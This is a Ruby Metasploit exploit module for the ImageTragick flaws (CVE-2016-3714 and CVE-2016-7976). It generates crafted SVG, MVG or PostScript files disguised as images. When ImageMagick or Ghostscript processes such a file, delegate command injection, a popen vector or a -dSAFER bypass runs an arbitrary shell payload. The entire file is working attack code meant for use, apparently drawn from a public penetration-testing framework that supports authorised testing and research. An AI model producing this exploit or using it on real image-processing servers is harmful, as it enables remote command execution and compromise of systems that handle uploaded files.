##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ImageMagick Delegate Arbitrary Command Execution',
      'Description'    => %q{
        This module exploits a shell command injection in the way "delegates"
        (commands for converting files) are processed in ImageMagick versions
        <= 7.0.1-0 and <= 6.9.3-9 (legacy).

        Since ImageMagick uses file magic to detect file format, you can create
        a .png (for example) which is actually a crafted SVG (for example) that
        triggers the command injection.

        The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
        (discovered by taviso) to achieve RCE in the Ghostscript delegate.
        Ghostscript versions 9.18 and later are affected.

        If USE_POPEN is set to true, a |-prefixed command will be used for the
        exploit. No delegates are involved in this exploitation.
      },
      'Author'         => [
        'stewie',            # Vulnerability discovery
        'Nikolay Ermishkin', # Vulnerability discovery
        'wvu',               # Metasploit module
        'hdm'                # Metasploit module
      ],
      'References'     => [
        %w{CVE 2016-3714},
        %w{CVE 2016-7976},
        %w{URL https://imagetragick.com/},
        %w{URL http://seclists.org/oss-sec/2016/q2/205},
        %w{URL http://seclists.org/oss-sec/2016/q3/682},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
        %w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
      ],
      'DisclosureDate' => 'May 3 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        => {
        'BadChars'     => "\x22\x27\x5c" # ", ', and \
      },
      'Targets'        => [
        ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
        ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
        ['PS file',  template: 'msf.ps']   # PoC from taviso
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
      OptBool.new('USE_POPEN',  [false, 'Use popen() vector', true])
    ])
  end

  def exploit
    if target.name == 'SVG file'
      p = Rex::Text.html_encode(payload.encoded)
    else
      p = payload.encoded
    end

    file_create(template.sub('echo vulnerable > /dev/tty', p))
  end

  def template
    if datastore['USE_POPEN']
      t = 'popen'
    else
      t = 'delegate'
    end

    begin
      File.read(File.join(
        Msf::Config.data_directory, 'exploits', 'imagemagick', t,
        target[:template]
      ))
    rescue Errno::ENOENT
      fail_with(Failure::NoTarget, "Target has no #{t} support")
    end
  end

end
